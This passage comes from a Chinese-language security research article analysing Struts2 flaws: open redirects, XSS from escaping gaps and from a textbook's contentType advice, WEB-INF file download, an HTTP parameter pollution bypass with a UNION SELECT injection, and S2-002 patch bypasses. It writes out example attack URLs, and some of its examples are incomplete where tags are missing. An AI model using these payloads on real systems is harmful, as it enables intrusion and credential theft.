一样会跳转。而在这里却足够了,因为struts2已经接管了这个过程,只要以“/”开头,统统先给你自动加上 本地域名,抓包后,你会看到 location: http://www.inbreak.net/app//www.ph4nt0m.org 实际上是不会有问题的。 struts2也认为这样判断不会有问题了,然而用户输入 http://www.inbreak.net/app/test!getStr.action?str=redir&redirecturl=http://www.ph4nt0m.org 其实前篇已经分析过了,这样就利用action中的str属性,绕过了必须以“/”开头的判断,直接跳转了。 test里有个str属性,可自定义返回,这里自定义了“redir”,所以来到了 ${redirecturl} 而redirecturl的值,也提交给了action,所以跳转了。

Struts2的那些result类型缺陷(Ajax)

在struts2中使用ajax,也是被struts2支持的,它提供了一种返回类型,叫做“stream”。在研究这个 result的使用时,作者看到一本书,叫做《 Struts 2权威指南:基于WebWork核心的MVC开发 》。这本书非常 出名,几乎所有的struts2使用者都推荐使用。 http://book.csdn.net/bookfiles/479/index.html 书上介绍ajax可以这么使用: 配置struts.xml text/html input 之后写TestajaxAction: public InputStream input; public String execute() throws Exception{ input = new StringBufferInputStream("aaaaaa"); return SUCCESS; } 其实大家都看出来我的意思了,返回了contentType为“text/html”的页面,内容为 aaaaaa 结果浏览器解析的时候,出现了XSS漏洞。 本来默认的contentType是text/plain,不需要配置,如果用户直接打开,只会看到一个Stream,不会解析 其中的html和js。现在书上介绍说要写成这样,不知道作者是否知道这个教程对大家的影响,结果已经误导了 大批的开发人员。 事实上,这不是struts的问题,是struts“权威”教程的问题。权威的教程,一旦出现安全漏洞,往往会 误导大批的开发人员,不知道大家在挖漏洞的时候,是否注意到了这点,特别是当官方的DEMO出现漏洞, 那绝对是惊天地泣鬼神的悲剧。

Struts2的那些result类型缺陷(自定的页面)

有时候,开发人员为了方便,喜欢配置struts.xml如下: user/test.jsp user/testproperty.jsp ${redir} ${testloadfilepath} user/redirfalse.jsp user/input.jsp 请注意,其中一条result,名称是”testloadfilepath”, ${testloadfilepath}的作用是自定义的jsp页面 地址,接收session或request中传过来的这个变量的值。那么用户提交 http://www.inbreak.net/app/test.action?testloadfilepath=user/test.jsp 当然就会返回user/test.jsp页面,非常的灵活。虽然并不是所有的开发都会这么做,但是一旦出现这种情况, 会产生什么问题呢? http://www.inbreak.net/app/test!getRedir.action?redir=testloadfilepath&testloadfilepath=WEB-INF/classes/hibernate.cfg.xml 不知道大家看懂这段url的含义没有,先调用getRedir,可以自定义返回到testloadfilepath,而testloadfilepath 已经指定了WEB-INF/classes/hibernate.cfg.xml。WEB-INF目录下,都是受web容器保护的东西,默认不允许 直接request相对地址来访问。该目录里面有程序编译后的class文件(可以被直接反编译为java源码), 有数据库配置文件等敏感文件,现在打开如上url,直接被下载了hibernate.cfg.xml,这里放着数据库用户名 和密码。 这样,攻击者就可以下载你的所有源代码,所有服务器上的文件。struts在提供给我们这种方式的时候, 并没有任何官方说明这里有危险,这就是一个不定时炸弹。

Struts2的taglib设计缺陷

经过几个例子下来,不知道大家注意到没有,从用户输入走到这里,已经走到了输出这一步了。struts2的 那些result的type,其实就是几种输出方式,有jsp、ajax、redirect,经过jsonplugin等插件配置,还可以 支持其他输出方式。甚至支持一些标签库,比如freemarker等标签库。不过我们只谈struts2自带的标签库, 在一个jsp页面的最上方,写上一段代码,就可以使用struts2提供的数据输出和页面数据操作的标签了。 比以往我们在jsp输出“<%=name%>”要方便的多,下面给个例子: test.jsp代码 <%@ taglib prefix="s" uri="/struts-tags" %> 第一行是告诉struts这里要使用struts的标签库,第二行就是一个标签的使用,含义是输出username的值, username会从session、request、page等地方取,这里不关注取数据的次序。

struts2的taglib设计缺陷(struts2.0不支持escapeJavaScript)

说到输出,大家都能想到XSS漏洞,那么作为一个流行框架,struts2在这里做了什么控制呢? struts2.0对部分标签做了默认的htmlescape: 刚才那个标签实际上效果等于 别以为做了htmlescape就够了,输出在javascript中的时候,还会出现xss漏洞。所以struts在2.1.6这个版本 也支持了javascriptescape: struts2.1.6: 默认开启如上所示,当你要输出到js中的时候,可以使用escapeJavaScript进行转义。 也就是说,一旦你确定这个struts是2.0的,只要开发人员把变量输出到js中,十有八九会出xss问题。

struts2的taglib设计缺陷(没有富文本安全输出标签)

而包括最高版本2.1.8在内,仍然没有支持富文本安全输出,这是一件悲剧的事情,如果用struts开发一个 大众blog的应用,又支持富文本的文章,开发人员只能把htmlescape和jsescape都去掉,才能保证业务正常 运行,所以导致了XSS漏洞。

struts2的taglib设计缺陷(并不是所有输出标签都做了默认的htmlescape)

有几个标签是不做htmlescape的,比如 这其实是一个严重陷阱,因为只要提到struts2,前辈们都会告诉你,放心使用,它默认做了htmlescape。 那是什么原因导致一些标签没有做默认的escape呢?作者翻了下源码,也没有找出具体原因,不知道那些人 是怎么想的。 并且,经过简单的fuzz,发现在特定环境下,那些做了输出转义的标签也会出现问题。 我们知道默认的htmlescape是不转义单引号的,所以,当struts标签库的源码中,出现一些标签属性的输出 时,如果标签属性的周围使用的是单引号,而攻击者又能控制标签属性内容的时候,就会出现xss漏洞。如下: 当这个xss的内容可以由攻击者控制,即使对xss的内容作了htmlescape,依然可以被攻击者bypass。 基于这个原理,作者搜索了struts标签库源码,那些“XXX.ftl”文件中搜索“}'”符号,找到N多,测试 其中一个如下: ------------- 标签,在正常使用的时候,他会放到一个标签内,最终输出html后,会变成一个输入框。 它有个属性叫“tooltip”,如果这个标签为用户可控制,比如从数据库中读取用户输入,而这个标签所在的 开启了: 的时候,用户输入的tooltip的值,会出现以下情况: struts2.0 --> caption内容就是tooltip的值,从数据库查出 struts2.1.6&struts2.1.8 --> onmouseover生成一个domTT_activate函数调用,参数中其中一个值,是tooltip的内容。这里被bypass了。 ------------ 这些搜出的几个个地方实际上根本没有做任何escape,就直接输出了数据。下面那个即使做了默认的 htmlescape,还是会出问题,除非它默认做了javascriptEscape。struts2默认有地方做javascriptEscape么? 答案是“没有”。所以,它们全都能被XSS! struts2的这些escape,其实是一个很太监的安全方案,安全工程师最恨的就是这种方案,做了安全方案, 还不做完全,留下一堆问题。

struts2的HTTP Parameter Pollution处理缺陷

webwork和struts2都有这个问题,当用户给web应用提交: http://www.inbreak.net/app/test!redirect.action?redir=kxlzx&redir=aaad61 时,如果我们在action中定义了 private String redir; public String getRedir() { return redir; } public void setRedir(String redir) { this.redir = redir; } Action就会取到redir的值为“kxlzx, aaad61”注意中间是有空格的。 这种数据是由webwork(struts2)把两个参数合并而成的,但是如果我们request.getParameter("redir"); 拿到的值,却只是第一个(值为kxlzx)。 我们知道struts2提倡使用拦截器做一些事情,他可以在action的execute方法执行之前和之后做一些操作。 那就有一些开发,想当然的在这里防御一下url跳转、SQL注入、XSS等攻击。我们看看他们会怎么做: @Override public String intercept(ActionInvocation arg0) throws Exception { …… String name = request.getParameter("name"); if(name!=null&&name.indexOf("'")>-1){ System.out.println("find sql injection"); request.getSession().setAttribute("msg", "find sql injection"); return "falseuser"; } String redir = request.getParameter("redir"); if(redir!=null&&!redir.equals("http://www.b.com")){ System.out.println("find url redirect"); request.getSession().setAttribute("msg", "find url redirect"); return "falseuser"; } return arg0.invoke(); } 在这段代码中,作者仅仅示例了在拦截器中防御sql注入和url跳转漏洞,sql注入的防御规则是检查 “’”单引号,而url跳转漏洞规则是检查必须跳转到”http://www.b.com”去。作者知道没有完全防御, 所以大家先不要在这里追究防御方案,仅仅是一个示例。 而开发人员在业务代码如下: String sql = "select book_name,book_content from books"; if (name != null) { sql += " where book_name like '%" + name + "%'"; } 很明显能注入。 public String redirect() { return "redir"; } 也明显存在url跳转漏洞。 但是由于拦截器在action之前执行,所以如果我们输入了 http://www.inbreak.net/app/test!findUserByName.action?name=a' 拦截器当然就会返回错误“find sql injection”; 因为执行到了 String name = request.getParameter("name"); if(name!=null&&name.indexOf("'")>-1){ 发现name的值确实有单引号。 但是如果我们输入了 http://www.inbreak.net/app/test!findUserByName.action ?name=aaaaa&name=a' union select name,pass from user where ''<>' 就直接绕过了拦截器的判断。因为拦截器获取的request.getParameter("name"),是第一个参数的值aaaaa, 抛弃了第二个参数的值,但是action中的name的值,却是 “aaaaa, a' union select name,pass from user where ''<>' ”所以被注入了 大多数拦截器都是这样做的防御,包括一些filter等。 这件事情发生在url跳转漏洞时,却不明显,因为攻击者顶多构造一个: http://www.inbreak.net/app/test!redirect.action?redir=http://www.b.com&redir=www.inbreak.net 抓包看看 它跳到了http://www.b.com, www.inbreak.net去了。所以IE直接报错,说打不开这个地址。但是我们还有别的 浏览器,总是喜欢给大家友好信息的浏览器,看看chrome给用户什么提示: Chrome也认为这是一个错误的链接,所以给出了“正确”的链接地址。这不是刚好被钓鱼网站利用么? struts2的官方漏洞公告和修补后引发的安全缺陷 从有struts2,到现在为止,官方一共发布了4个漏洞,在 http://struts.apache.org/2.x/docs/security-bulletins.html / S2-001 — Remote code exploit on form validation error / S2-002 — Cross site scripting (XSS) vulnerability on and tags / S2-003 — XWork ParameterInterceptors bypass allows OGNL statement execution / S2-004 — Directory traversal vulnerability while serving static content 从名字上,可以看出漏洞的内容,作者仅仅对其中两个做了源码级别的漏洞修补评估,发现了很多悲剧的事情。 同学们有兴趣可以去研究剩下两个漏洞。

struts2的官方漏洞公告和修补后引发的安全缺陷(S2-002)

先看看“S2-002 — Cross site scripting (XSS) vulnerability on and tags”这个漏洞。 顾名思义是对的xss漏洞修补,但是前文提到,这里有XSS漏洞,难道是在忽悠大家?我们 看看这帮工程师是怎么修补的,来到这个svn地址: http://svn.apache.org/viewvc/struts/struts2/trunk/core/src/main/java/org/apache/struts2/views/util/UrlHelper.java?r1=614814&r2=615103&diff_format=h 注意这两行: 看到这两行代码的时候,作者笑了,因为作者仿佛看到了至少两件悲剧的事情,现在把它们写成故事: 第1件悲剧的事情,某年某月某日,一个脚本小子给官方报告漏洞,说在使用标签的时候,代码为: 之后他输入了 http://www.inbreak.net/app/test!testpro.action?url= 并告诉官方这里是一个XSS漏洞,希望官方修补掉。 官方很重视,一个开发就去修补,添加如下判断: if (result.indexOf(" 结果并没有在页面执行xss脚本。后来那脚本小子也测试了一下,发现没问题,这事情就过去了,瞒着人民 大众,悄悄的修补了。 第2件悲剧的事情,又过了某人某月某日,某另一个脚本小子又发了漏洞,还是那段代码,但是url改成了: http://www.inbreak.net/app/test!testpro.action?url=< 注意,这里是< 并进行了冒烟测试、功能测试、黑盒测试、白盒测试。这次还发了公告出来,说这里没问题了,我们很重视 安全漏洞,已经修补了。 作者看到这里,测试新的bypass官方修补代码的url为: http://www.inbreak.net/app/test!testpro.action?url= 于是XSS脚本又被执行了,因为这里是